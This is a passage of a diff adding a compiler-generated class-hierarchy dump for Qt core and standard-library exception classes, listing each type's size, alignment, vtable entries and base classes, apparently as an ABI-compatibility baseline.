+QByteArray (0xb59eb0f0) 0
+
+Class QByteRef
+ size=8 align=4
+ base size=8 base align=4
+QByteRef (0xb583f03c) 0
+
+Class QString::Null
+ size=1 align=1
+ base size=0 base align=1
+QString::Null (0xb58767f8) 0 empty
+
+Class QString::Data
+ size=20 align=4
+ base size=20 base align=4
+QString::Data (0xb5876834) 0
+
+Class QString
+ size=4 align=4
+ base size=4 base align=4
+QString (0xb58767bc) 0
+
+Class QLatin1String
+ size=4 align=4
+ base size=4 base align=4
+QLatin1String (0xb5743438) 0
+
+Class QCharRef
+ size=8 align=4
+ base size=8 base align=4
+QCharRef (0xb57a112c) 0
+
+Class QConstString
+ size=4 align=4
+ base size=4 base align=4
+QConstString (0xb58267c0) 0
+ QString (0xb5644870) 0
+
+Class QStringRef
+ size=12 align=4
+ base size=12 base align=4
+QStringRef (0xb5644bb8) 0
+
+Vtable for std::exception
+std::exception::_ZTVSt9exception: 5u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTISt9exception)
+8 std::exception::~exception
+12 std::exception::~exception
+16 std::exception::what
+
+Class std::exception
+ size=4 align=4
+ base size=4 base align=4
+std::exception (0xb5680c6c) 0 nearly-empty
+ vptr=((& std::exception::_ZTVSt9exception) + 8u)
+
+Vtable for std::bad_exception
+std::bad_exception::_ZTVSt13bad_exception: 5u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTISt13bad_exception)
+8 std::bad_exception::~bad_exception
+12 std::bad_exception::~bad_exception
+16 std::bad_exception::what
+
+Class std::bad_exception
+ size=4 align=4
+ base size=4 base align=4
+std::bad_exception (0xb56cf3c0) 0 nearly-empty
+ vptr=((& std::bad_exception::_ZTVSt13bad_exception) + 8u)
+ std::exception (0xb5680d5c) 0 nearly-empty
+ primary-for std::bad_exception (0xb56cf3c0)
+
+Vtable for std::bad_alloc
+std::bad_alloc::_ZTVSt9bad_alloc: 5u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTISt9bad_alloc)
+8 std::bad_alloc::~bad_alloc
+12 std::bad_alloc::~bad_alloc
+16 std::bad_alloc::what
+
+Class std::bad_alloc
+ size=4 align=4
+ base size=4 base align=4
+std::bad_alloc (0xb56cf540) 0 nearly-empty
+ vptr=((& std::bad_alloc::_ZTVSt9bad_alloc) + 8u)
+ std::exception (0xb5680fb4) 0 nearly-empty
+ primary-for std::bad_alloc (0xb56cf540)
+
+Class std::nothrow_t
+ size=1 align=1
+ base size=0 base align=1
+std::nothrow_t (0xb56e021c) 0 empty
+
+Class QListData::Data
+ size=24 align=4
+ base size=24 base align=4
+QListData::Data (0xb56e030c) 0
+
+Class QListData
+ size=4 align=4
+ base size=4 base align=4
+QListData (0xb56e02d0) 0
+
+Class QScopedPointerPodDeleter
+ size=1 align=1
+ base size=0 base align=1
+QScopedPointerPodDeleter (0xb56e0b40) 0 empty
+
+Vtable for QObjectData
+QObjectData::_ZTV11QObjectData: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QObjectData)
+8 __cxa_pure_virtual
+12 __cxa_pure_virtual
+
+Class QObjectData
+ size=28 align=4
+ base size=28 base align=4
+QObjectData (0xb56e0bf4) 0
+ vptr=((& QObjectData::_ZTV11QObjectData) + 8u)
+
+Vtable for QObject
+QObject::_ZTV7QObject: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI7QObject)
+8 QObject::metaObject
+12 QObject::qt_metacast
+16 QObject::qt_metacall
+20 QObject::~QObject
+24 QObject::~QObject
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QObject
+ size=8 align=4
+ base size=8 base align=4
+QObject (0xb56e0ca8) 0
+ vptr=((& QObject::_ZTV7QObject) + 8u)
+
+Vtable for QObjectUserData
+QObjectUserData::_ZTV15QObjectUserData: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QObjectUserData)
+8 QObjectUserData::~QObjectUserData
+12 QObjectUserData::~QObjectUserData
+
+Class QObjectUserData
+ size=4 align=4
+ base size=4 base align=4
+QObjectUserData (0xb55e6528) 0 nearly-empty
+ vptr=((& QObjectUserData::_ZTV15QObjectUserData) + 8u)
+
+Vtable for QIODevice
+QIODevice::_ZTV9QIODevice: 30u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QIODevice)
+8 QIODevice::metaObject
+12 QIODevice::qt_metacast
+16 QIODevice::qt_metacall
+20 QIODevice::~QIODevice
+24 QIODevice::~QIODevice
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QIODevice::isSequential
+60 QIODevice::open
+64 QIODevice::close
+68 QIODevice::pos
+72 QIODevice::size
+76 QIODevice::seek
+80 QIODevice::atEnd
+84 QIODevice::reset
+88 QIODevice::bytesAvailable
+92 QIODevice::bytesToWrite
+96 QIODevice::canReadLine
+100 QIODevice::waitForReadyRead
+104 QIODevice::waitForBytesWritten
+108 __cxa_pure_virtual
+112 QIODevice::readLineData
+116 __cxa_pure_virtual
+
+Class QIODevice
+ size=8 align=4
+ base size=8 base align=4
+QIODevice (0xb55f52c0) 0
+ vptr=((& QIODevice::_ZTV9QIODevice) + 8u)
+ QObject (0xb55e6654) 0
+ primary-for QIODevice (0xb55f52c0)
+
+Class wait
+ size=4 align=4
+ base size=4 base align=4
+wait (0xb56253c0) 0
+
+Class timespec
+ size=8 align=4
+ base size=8 base align=4
+timespec (0xb56255a0) 0
+
+Class timeval
+ size=8 align=4
+ base size=8 base align=4
+timeval (0xb56255dc) 0
+
+Class __pthread_internal_slist
+ size=4 align=4
+ base size=4 base align=4
+__pthread_internal_slist (0xb5625690) 0
+
+Class random_data
+ size=28 align=4
+ base size=28 base align=4
+random_data (0xb562599c) 0
+
+Class drand48_data
+ size=24 align=4
+ base size=24 base align=4
+drand48_data (0xb56259d8) 0
+
+Class QVectorData
+ size=16 align=4
+ base size=16 base align=4
+QVectorData (0xb5625a14) 0
+
+Class QXmlStreamStringRef
+ size=12 align=4
+ base size=12 base align=4
+QXmlStreamStringRef (0xb5625bf4) 0
+
+Class QXmlStreamAttribute
+ size=56 align=4
+ base size=53 base align=4
+QXmlStreamAttribute (0xb54ec8ac) 0
+
+Class QXmlStreamAttributes
+ size=4 align=4
+ base size=4 base align=4
+QXmlStreamAttributes (0xb54e29c0) 0
+ QVector<QXmlStreamAttribute> (0xb550530c) 0
+
+Class QXmlStreamNamespaceDeclaration
+ size=28 align=4
+ base size=28 base align=4
+QXmlStreamNamespaceDeclaration (0xb55053fc) 0
+
+Class QXmlStreamNotationDeclaration
+ size=40 align=4
+ base size=40 base align=4
+QXmlStreamNotationDeclaration (0xb5505870) 0
+
+Class QXmlStreamEntityDeclaration
+ size=64 align=4
+ base size=64 base align=4
+QXmlStreamEntityDeclaration (0xb5505e4c) 0
+
+Vtable for QXmlStreamEntityResolver
+QXmlStreamEntityResolver::_ZTV24QXmlStreamEntityResolver: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI24QXmlStreamEntityResolver)
+8 QXmlStreamEntityResolver::~QXmlStreamEntityResolver
+12 QXmlStreamEntityResolver::~QXmlStreamEntityResolver
+16 QXmlStreamEntityResolver::resolveEntity
+20 QXmlStreamEntityResolver::resolveUndeclaredEntity
+
+Class QXmlStreamEntityResolver
+ size=4 align=4
+ base size=4 base align=4
+QXmlStreamEntityResolver (0xb5341708) 0 nearly-empty
+ vptr=((& QXmlStreamEntityResolver::_ZTV24QXmlStreamEntityResolver) + 8u)
+
+Class QXmlStreamReader
+ size=4 align=4
+ base size=4 base align=4
+QXmlStreamReader (0xb5341744) 0
+
+Class QXmlStreamWriter
+ size=4 align=4
+ base size=4 base align=4
+QXmlStreamWriter (0xb53418ac) 0
+
+Class QBitArray
+ size=4 align=4
+ base size=4 base align=4
+QBitArray (0xb5341a14) 0
+
+Class QBitRef
+ size=8 align=4
+ base size=8 base align=4
+QBitRef (0xb5391ec4) 0
+
+Class QByteArrayMatcher::Data
+ size=264 align=4
+ base size=264 base align=4
+QByteArrayMatcher::Data (0xb53b34ec) 0
+
+Class QByteArrayMatcher
+ size=1032 align=4
+ base size=1032 base align=4
+QByteArrayMatcher (0xb53b34b0) 0
+
+Vtable for QDataStream
+QDataStream::_ZTV11QDataStream: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QDataStream)
+8 QDataStream::~QDataStream
+12 QDataStream::~QDataStream
+
+Class QDataStream
+ size=28 align=4
+ base size=28 base align=4
+QDataStream (0xb53b3744) 0
+ vptr=((& QDataStream::_ZTV11QDataStream) + 8u)
+
+Class QHashData::Node
+ size=8 align=4
+ base size=8 base align=4
+QHashData::Node (0xb540d30c) 0
+
+Class QHashData
+ size=32 align=4
+ base size=32 base align=4
+QHashData (0xb540d2d0) 0
+
+Class QHashDummyValue
+ size=1 align=1
+ base size=0 base align=1
+QHashDummyValue (0xb540da14) 0 empty
+
+Class QContiguousCacheData
+ size=24 align=4
+ base size=24 base align=4
+QContiguousCacheData (0xb52461a4) 0
+
+Class QCryptographicHash
+ size=4 align=4
+ base size=4 base align=4
+QCryptographicHash (0xb5246348) 0
+
+Class QSharedData
+ size=4 align=4
+ base size=4 base align=4
+QSharedData (0xb5246384) 0
+
+Vtable for QtSharedPointer::ExternalRefCountData
+QtSharedPointer::ExternalRefCountData::_ZTVN15QtSharedPointer20ExternalRefCountDataE: 5u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTIN15QtSharedPointer20ExternalRefCountDataE)
+8 QtSharedPointer::ExternalRefCountData::~ExternalRefCountData
+12 QtSharedPointer::ExternalRefCountData::~ExternalRefCountData
+16 QtSharedPointer::ExternalRefCountData::destroy
+
+Class QtSharedPointer::ExternalRefCountData
+ size=12 align=4
+ base size=12 base align=4
+QtSharedPointer::ExternalRefCountData (0xb5246708) 0
+ vptr=((& QtSharedPointer::ExternalRefCountData::_ZTVN15QtSharedPointer20ExternalRefCountDataE) + 8u)
+
+Vtable for QtSharedPointer::ExternalRefCountWithDestroyFn
+QtSharedPointer::ExternalRefCountWithDestroyFn::_ZTVN15QtSharedPointer29ExternalRefCountWithDestroyFnE: 5u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTIN15QtSharedPointer29ExternalRefCountWithDestroyFnE)
+8 QtSharedPointer::ExternalRefCountWithDestroyFn::~ExternalRefCountWithDestroyFn
+12 QtSharedPointer::ExternalRefCountWithDestroyFn::~ExternalRefCountWithDestroyFn
+16 QtSharedPointer::ExternalRefCountWithDestroyFn::destroy
+
+Class QtSharedPointer::ExternalRefCountWithDestroyFn
+ size=16 align=4
+ base size=16 base align=4
+QtSharedPointer::ExternalRefCountWithDestroyFn (0xb5147540) 0
+ vptr=((& QtSharedPointer::ExternalRefCountWithDestroyFn::_ZTVN15QtSharedPointer29ExternalRefCountWithDestroyFnE) + 8u)
+ QtSharedPointer::ExternalRefCountData (0xb5246f00) 0
+ primary-for QtSharedPointer::ExternalRefCountWithDestroyFn (0xb5147540)
+
+Class QDate
+ size=4 align=4
+ base size=4 base align=4
+QDate (0xb5155438) 0
+
+Class QTime
+ size=4 align=4
+ base size=4 base align=4
+QTime (0xb5155a50) 0
+
+Class QDateTime
+ size=4 align=4
+ base size=4 base align=4
+QDateTime (0xb5155fb4) 0
+
+Class QEasingCurve
+ size=4 align=4
+ base size=4 base align=4
+QEasingCurve (0xb51d1294) 0
+
+Class QElapsedTimer
+ size=16 align=4
+ base size=16 base align=4
+QElapsedTimer (0xb51d130c) 0
+
+Class QPoint
+ size=8 align=4
+ base size=8 base align=4
+QPoint (0xb51d1528) 0
+
+Class QPointF
+ size=16 align=4
+ base size=16 base align=4
+QPointF (0xb5210ac8) 0
+
+Class QLine
+ size=16 align=4
+ base size=16 base align=4
+QLine (0xb50361e0) 0
+
+Class QLineF
+ size=32 align=4
+ base size=32 base align=4
+QLineF (0xb5036f00) 0
+
+Class QLinkedListData
+ size=20 align=4
+ base size=20 base align=4
+QLinkedListData (0xb5088000) 0
+
+Vtable for QSystemLocale
+QSystemLocale::_ZTV13QSystemLocale: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QSystemLocale)
+8 QSystemLocale::~QSystemLocale
+12 QSystemLocale::~QSystemLocale
+16 QSystemLocale::query
+20 QSystemLocale::fallbackLocale
+
+Class QSystemLocale
+ size=4 align=4
+ base size=4 base align=4
+QSystemLocale (0xb508821c) 0 nearly-empty
+ vptr=((& QSystemLocale::_ZTV13QSystemLocale) + 8u)
+
+Class QLocale::Data
+ size=4 align=2
+ base size=4 base align=2
+QLocale::Data (0xb5088294) 0
+
+Class QLocale
+ size=4 align=4
+ base size=4 base align=4
+QLocale (0xb5088258) 0
+
+Class QMapData::Node
+ size=8 align=4
+ base size=8 base align=4
+QMapData::Node (0xb50888e8) 0
+
+Class QMapData
+ size=72 align=4
+ base size=72 base align=4
+QMapData (0xb50888ac) 0
+
+Class QMargins
+ size=16 align=4
+ base size=16 base align=4
+QMargins (0xb5088bf4) 0
+
+Class QSize
+ size=8 align=4
+ base size=8 base align=4
+QSize (0xb4fedd5c) 0
+
+Class QSizeF
+ size=16 align=4
+ base size=16 base align=4
+QSizeF (0xb50167f8) 0
+
+Class QRect
+ size=16 align=4
+ base size=16 base align=4
+QRect (0xb4e423fc) 0
+
+Class QRectF
+ size=32 align=4
+ base size=32 base align=4
+QRectF (0xb4ea703c) 0
+
+Class QRegExp
+ size=4 align=4
+ base size=4 base align=4
+QRegExp (0xb4eefd98) 0
+
+Class QLatin1Literal
+ size=8 align=4
+ base size=8 base align=4
+QLatin1Literal (0xb4f148e8) 0
+
+Class QAbstractConcatenable
+ size=1 align=1
+ base size=0 base align=1
+QAbstractConcatenable (0xb4f1499c) 0 empty
+
+Class QStringMatcher::Data
+ size=264 align=4
+ base size=264 base align=4
+QStringMatcher::Data (0xb4d73f78) 0
+
+Class QStringMatcher
+ size=1036 align=4
+ base size=1036 base align=4
+QStringMatcher (0xb4d73f3c) 0
+
+Class QStringList
+ size=4 align=4
+ base size=4 base align=4
+QStringList (0xb4d8c480) 0
+ QList<QString> (0xb4d9b0b4) 0
+
+Class QTextBoundaryFinder
+ size=28 align=4
+ base size=28 base align=4
+QTextBoundaryFinder (0xb4de0618) 0
+
+Vtable for QTimeLine
+QTimeLine::_ZTV9QTimeLine: 15u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QTimeLine)
+8 QTimeLine::metaObject
+12 QTimeLine::qt_metacast
+16 QTimeLine::qt_metacall
+20 QTimeLine::~QTimeLine
+24 QTimeLine::~QTimeLine
+28 QObject::event
+32 QObject::eventFilter
+36 QTimeLine::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QTimeLine::valueForTime
+
+Class QTimeLine
+ size=8 align=4
+ base size=8 base align=4
+QTimeLine (0xb4de6400) 0
+ vptr=((& QTimeLine::_ZTV9QTimeLine) + 8u)
+ QObject (0xb4de06cc) 0
+ primary-for QTimeLine (0xb4de6400)
+
+Class QMutex
+ size=4 align=4
+ base size=4 base align=4
+QMutex (0xb4de0960) 0
+
+Class QMutexLocker
+ size=4 align=4
+ base size=4 base align=4
+QMutexLocker (0xb4e27000) 0
+
+Class QReadWriteLock
+ size=4 align=4
+ base size=4 base align=4
+QReadWriteLock (0xb4e27564) 0
+
+Class QReadLocker
+ size=4 align=4
+ base size=4 base align=4
+QReadLocker (0xb4e275a0) 0
+
+Class QWriteLocker
+ size=4 align=4
+ base size=4 base align=4
+QWriteLocker (0xb4e27a8c) 0
+
+Class QSemaphore
+ size=4 align=4
+ base size=4 base align=4
+QSemaphore (0xb4e27f78) 0
+
+Vtable for QThread
+QThread::_ZTV7QThread: 15u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI7QThread)
+8 QThread::metaObject
+12 QThread::qt_metacast
+16 QThread::qt_metacall
+20 QThread::~QThread
+24 QThread::~QThread
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QThread::run
+
+Class QThread
+ size=8 align=4
+ base size=8 base align=4
+QThread (0xb4c4b3c0) 0
+ vptr=((& QThread::_ZTV7QThread) + 8u)
+ QObject (0xb4e27fb4) 0
+ primary-for QThread (0xb4c4b3c0)
+
+Class QThreadStorageData
+ size=4 align=4
+ base size=4 base align=4
+QThreadStorageData (0xb4c5b258) 0
+
+Class QWaitCondition
+ size=4 align=4
+ base size=4 base align=4
+QWaitCondition (0xb4c5b2d0) 0
+
+Vtable for QAbstractState
+QAbstractState::_ZTV14QAbstractState: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI14QAbstractState)
+8 QAbstractState::metaObject
+12 QAbstractState::qt_metacast
+16 QAbstractState::qt_metacall
+20 QAbstractState::~QAbstractState
+24 QAbstractState::~QAbstractState
+28 QAbstractState::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+
+Class QAbstractState
+ size=8 align=4
+ base size=8 base align=4
+QAbstractState (0xb4c4be80) 0
+ vptr=((& QAbstractState::_ZTV14QAbstractState) + 8u)
+ QObject (0xb4c5b30c) 0
+ primary-for QAbstractState (0xb4c4be80)
+
+Vtable for QAbstractTransition
+QAbstractTransition::_ZTV19QAbstractTransition: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QAbstractTransition)
+8 QAbstractTransition::metaObject
+12 QAbstractTransition::qt_metacast
+16 QAbstractTransition::qt_metacall
+20 QAbstractTransition::~QAbstractTransition
+24 QAbstractTransition::~QAbstractTransition
+28 QAbstractTransition::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+
+Class QAbstractTransition
+ size=8 align=4
+ base size=8 base align=4
+QAbstractTransition (0xb4c79140) 0
+ vptr=((& QAbstractTransition::_ZTV19QAbstractTransition) + 8u)
+ QObject (0xb4c5b528) 0
+ primary-for QAbstractTransition (0xb4c79140)
+
+Vtable for QEvent
+QEvent::_ZTV6QEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI6QEvent)
+8 QEvent::~QEvent
+12 QEvent::~QEvent
+
+Class QEvent
+ size=12 align=4
+ base size=12 base align=4
+QEvent (0xb4c5b744) 0
+ vptr=((& QEvent::_ZTV6QEvent) + 8u)
+
+Vtable for QTimerEvent
+QTimerEvent::_ZTV11QTimerEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QTimerEvent)
+8 QTimerEvent::~QTimerEvent
+12 QTimerEvent::~QTimerEvent
+
+Class QTimerEvent
+ size=16 align=4
+ base size=16 base align=4
+QTimerEvent (0xb4c796c0) 0
+ vptr=((& QTimerEvent::_ZTV11QTimerEvent) + 8u)
+ QEvent (0xb4c5b924) 0
+ primary-for QTimerEvent (0xb4c796c0)
+
+Vtable for QChildEvent
+QChildEvent::_ZTV11QChildEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QChildEvent)
+8 QChildEvent::~QChildEvent
+12 QChildEvent::~QChildEvent
+
+Class QChildEvent
+ size=16 align=4
+ base size=16 base align=4
+QChildEvent (0xb4c79780) 0
+ vptr=((& QChildEvent::_ZTV11QChildEvent) + 8u)
+ QEvent (0xb4c5b99c) 0
+ primary-for QChildEvent (0xb4c79780)
+
+Vtable for QCustomEvent
+QCustomEvent::_ZTV12QCustomEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QCustomEvent)
+8 QCustomEvent::~QCustomEvent
+12 QCustomEvent::~QCustomEvent
+
+Class QCustomEvent
+ size=12 align=4
+ base size=12 base align=4
+QCustomEvent (0xb4c79a40) 0
+ vptr=((& QCustomEvent::_ZTV12QCustomEvent) + 8u)
+ QEvent (0xb4c5bb04) 0
+ primary-for QCustomEvent (0xb4c79a40)
+
+Vtable for QDynamicPropertyChangeEvent
+QDynamicPropertyChangeEvent::_ZTV27QDynamicPropertyChangeEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI27QDynamicPropertyChangeEvent)
+8 QDynamicPropertyChangeEvent::~QDynamicPropertyChangeEvent
+12 QDynamicPropertyChangeEvent::~QDynamicPropertyChangeEvent
+
+Class QDynamicPropertyChangeEvent
+ size=16 align=4
+ base size=16 base align=4
+QDynamicPropertyChangeEvent (0xb4c79b40) 0
+ vptr=((& QDynamicPropertyChangeEvent::_ZTV27QDynamicPropertyChangeEvent) + 8u)
+ QEvent (0xb4c5bbf4) 0
+ primary-for QDynamicPropertyChangeEvent (0xb4c79b40)
+
+Vtable for QEventTransition
+QEventTransition::_ZTV16QEventTransition: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI16QEventTransition)
+8 QEventTransition::metaObject
+12 QEventTransition::qt_metacast
+16 QEventTransition::qt_metacall
+20 QEventTransition::~QEventTransition
+24 QEventTransition::~QEventTransition
+28 QEventTransition::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QEventTransition::eventTest
+60 QEventTransition::onTransition
+
+Class QEventTransition
+ size=8 align=4
+ base size=8 base align=4
+QEventTransition (0xb4c79c00) 0
+ vptr=((& QEventTransition::_ZTV16QEventTransition) + 8u)
+ QAbstractTransition (0xb4c79c40) 0
+ primary-for QEventTransition (0xb4c79c00)
+ QObject (0xb4c5bca8) 0
+ primary-for QAbstractTransition (0xb4c79c40)
+
+Vtable for QFinalState
+QFinalState::_ZTV11QFinalState: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QFinalState)
+8 QFinalState::metaObject
+12 QFinalState::qt_metacast
+16 QFinalState::qt_metacall
+20 QFinalState::~QFinalState
+24 QFinalState::~QFinalState
+28 QFinalState::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QFinalState::onEntry
+60 QFinalState::onExit
+
+Class QFinalState
+ size=8 align=4
+ base size=8 base align=4
+QFinalState (0xb4c79f00) 0
+ vptr=((& QFinalState::_ZTV11QFinalState) + 8u)
+ QAbstractState (0xb4c79f40) 0
+ primary-for QFinalState (0xb4c79f00)
+ QObject (0xb4c5bec4) 0
+ primary-for QAbstractState (0xb4c79f40)
+
+Vtable for QHistoryState
+QHistoryState::_ZTV13QHistoryState: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QHistoryState)
+8 QHistoryState::metaObject
+12 QHistoryState::qt_metacast
+16 QHistoryState::qt_metacall
+20 QHistoryState::~QHistoryState
+24 QHistoryState::~QHistoryState
+28 QHistoryState::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QHistoryState::onEntry
+60 QHistoryState::onExit
+
+Class QHistoryState
+ size=8 align=4
+ base size=8 base align=4
+QHistoryState (0xb4cbf200) 0
+ vptr=((& QHistoryState::_ZTV13QHistoryState) + 8u)
+ QAbstractState (0xb4cbf240) 0
+ primary-for QHistoryState (0xb4cbf200)
+ QObject (0xb4cc50f0) 0
+ primary-for QAbstractState (0xb4cbf240)
+
+Vtable for QSignalTransition
+QSignalTransition::_ZTV17QSignalTransition: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QSignalTransition)
+8 QSignalTransition::metaObject
+12 QSignalTransition::qt_metacast
+16 QSignalTransition::qt_metacall
+20 QSignalTransition::~QSignalTransition
+24 QSignalTransition::~QSignalTransition
+28 QSignalTransition::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QSignalTransition::eventTest
+60 QSignalTransition::onTransition
+
+Class QSignalTransition
+ size=8 align=4
+ base size=8 base align=4
+QSignalTransition (0xb4cbf500) 0
+ vptr=((& QSignalTransition::_ZTV17QSignalTransition) + 8u)
+ QAbstractTransition (0xb4cbf540) 0
+ primary-for QSignalTransition (0xb4cbf500)
+ QObject (0xb4cc530c) 0
+ primary-for QAbstractTransition (0xb4cbf540)
+
+Vtable for QState
+QState::_ZTV6QState: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI6QState)
+8 QState::metaObject
+12 QState::qt_metacast
+16 QState::qt_metacall
+20 QState::~QState
+24 QState::~QState
+28 QState::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QState::onEntry
+60 QState::onExit
+
+Class QState
+ size=8 align=4
+ base size=8 base align=4
+QState (0xb4cbf800) 0
+ vptr=((& QState::_ZTV6QState) + 8u)
+ QAbstractState (0xb4cbf840) 0
+ primary-for QState (0xb4cbf800)
+ QObject (0xb4cc5528) 0
+ primary-for QAbstractState (0xb4cbf840)
+
+Class QMetaType
+ size=1 align=1
+ base size=0 base align=1
+QMetaType (0xb4cc5744) 0 empty
+
+Class QVariant::PrivateShared
+ size=8 align=4
+ base size=8 base align=4
+QVariant::PrivateShared (0xb4b45564) 0
+
+Class QVariant::Private::Data
+ size=8 align=4
+ base size=8 base align=4
+QVariant::Private::Data (0xb4b455dc) 0
+
+Class QVariant::Private
+ size=12 align=4
+ base size=12 base align=4
+QVariant::Private (0xb4b455a0) 0
+
+Class QVariant::Handler
+ size=36 align=4
+ base size=36 base align=4
+QVariant::Handler (0xb4b45654) 0
+
+Class QVariant
+ size=12 align=4
+ base size=12 base align=4
+QVariant (0xb4b45528) 0
+
+Class QVariantComparisonHelper
+ size=4 align=4
+ base size=4 base align=4
+QVariantComparisonHelper (0xb4b91f00) 0
+
+Vtable for QStateMachine::SignalEvent
+QStateMachine::SignalEvent::_ZTVN13QStateMachine11SignalEventE: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTIN13QStateMachine11SignalEventE)
+8 QStateMachine::SignalEvent::~SignalEvent
+12 QStateMachine::SignalEvent::~SignalEvent
+
+Class QStateMachine::SignalEvent
+ size=24 align=4
+ base size=24 base align=4
+QStateMachine::SignalEvent (0xb4bef640) 0
+ vptr=((& QStateMachine::SignalEvent::_ZTVN13QStateMachine11SignalEventE) + 8u)
+ QEvent (0xb4be53c0) 0
+ primary-for QStateMachine::SignalEvent (0xb4bef640)
+
+Vtable for QStateMachine::WrappedEvent
+QStateMachine::WrappedEvent::_ZTVN13QStateMachine12WrappedEventE: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTIN13QStateMachine12WrappedEventE)
+8 QStateMachine::WrappedEvent::~WrappedEvent
+12 QStateMachine::WrappedEvent::~WrappedEvent
+
+Class QStateMachine::WrappedEvent
+ size=20 align=4
+ base size=20 base align=4
+QStateMachine::WrappedEvent (0xb4bef6c0) 0
+ vptr=((& QStateMachine::WrappedEvent::_ZTVN13QStateMachine12WrappedEventE) + 8u)
+ QEvent (0xb4be53fc) 0
+ primary-for QStateMachine::WrappedEvent (0xb4bef6c0)
+
+Vtable for QStateMachine
+QStateMachine::_ZTV13QStateMachine: 20u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QStateMachine)
+8 QStateMachine::metaObject
+12 QStateMachine::qt_metacast
+16 QStateMachine::qt_metacall
+20 QStateMachine::~QStateMachine
+24 QStateMachine::~QStateMachine
+28 QStateMachine::event
+32 QStateMachine::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QStateMachine::onEntry
+60 QStateMachine::onExit
+64 QStateMachine::beginSelectTransitions
+68 QStateMachine::endSelectTransitions
+72 QStateMachine::beginMicrostep
+76 QStateMachine::endMicrostep
+
+Class QStateMachine
+ size=8 align=4
+ base size=8 base align=4
+QStateMachine (0xb4bef500) 0
+ vptr=((& QStateMachine::_ZTV13QStateMachine) + 8u)
+ QState (0xb4bef540) 0
+ primary-for QStateMachine (0xb4bef500)
+ QAbstractState (0xb4bef580) 0
+ primary-for QState (0xb4bef540)
+ QObject (0xb4be5384) 0
+ primary-for QAbstractState (0xb4bef580)
+
+Vtable for QFactoryInterface
+QFactoryInterface::_ZTV17QFactoryInterface: 5u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QFactoryInterface)
+8 QFactoryInterface::~QFactoryInterface
+12 QFactoryInterface::~QFactoryInterface
+16 __cxa_pure_virtual
+
+Class QFactoryInterface
+ size=4 align=4
+ base size=4 base align=4
+QFactoryInterface (0xb4be5780) 0 nearly-empty
+ vptr=((& QFactoryInterface::_ZTV17QFactoryInterface) + 8u)
+
+Vtable for QLibrary
+QLibrary::_ZTV8QLibrary: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI8QLibrary)
+8 QLibrary::metaObject
+12 QLibrary::qt_metacast
+16 QLibrary::qt_metacall
+20 QLibrary::~QLibrary
+24 QLibrary::~QLibrary
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
